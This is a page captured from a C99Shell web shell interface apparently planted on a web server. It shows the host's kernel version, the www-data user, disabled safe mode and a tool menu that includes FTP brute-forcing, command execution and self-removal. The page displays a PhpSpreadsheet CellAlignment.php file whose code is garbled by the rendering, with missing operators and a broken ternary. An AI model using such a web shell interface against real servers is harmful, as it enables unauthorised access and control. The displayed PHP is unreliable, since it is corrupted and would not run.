!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Style/   drwxr-xr-x
Free 13.03 GB of 57.97 GB (22.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CellAlignment.php (1.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Writer\Xls\Style;

use 
PhpOffice\PhpSpreadsheet\Style\Alignment;

class 
CellAlignment
{
    
/**
     * @var array<string, int>
     */
    
private static $horizontalMap = [
        
Alignment::HORIZONTAL_GENERAL => 0,
        
Alignment::HORIZONTAL_LEFT => 1,
        
Alignment::HORIZONTAL_RIGHT => 3,
        
Alignment::HORIZONTAL_CENTER => 2,
        
Alignment::HORIZONTAL_CENTER_CONTINUOUS => 6,
        
Alignment::HORIZONTAL_JUSTIFY => 5,
    ];

    
/**
     * @var array<string, int>
     */
    
private static $verticalMap = [
        
Alignment::VERTICAL_BOTTOM => 2,
        
Alignment::VERTICAL_TOP => 0,
        
Alignment::VERTICAL_CENTER => 1,
        
Alignment::VERTICAL_JUSTIFY => 3,
    ];

    public static function 
horizontal(Alignment $alignment): int
    
{
        
$horizontalAlignment $alignment->getHorizontal();

        if (
is_string($horizontalAlignment) && array_key_exists($horizontalAlignmentself::$horizontalMap)) {
            return 
self::$horizontalMap[$horizontalAlignment];
        }

        return 
self::$horizontalMap[Alignment::HORIZONTAL_GENERAL];
    }

    public static function 
wrap(Alignment $alignment): int
    
{
        
$wrap $alignment->getWrapText();

        return (
$wrap === true) ? 0;
    }

    public static function 
vertical(Alignment $alignment): int
    
{
        
$verticalAlignment $alignment->getVertical();

        if (
is_string($verticalAlignment) && array_key_exists($verticalAlignmentself::$verticalMap)) {
            return 
self::$verticalMap[$verticalAlignment];
        }

        return 
self::$verticalMap[Alignment::VERTICAL_BOTTOM];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--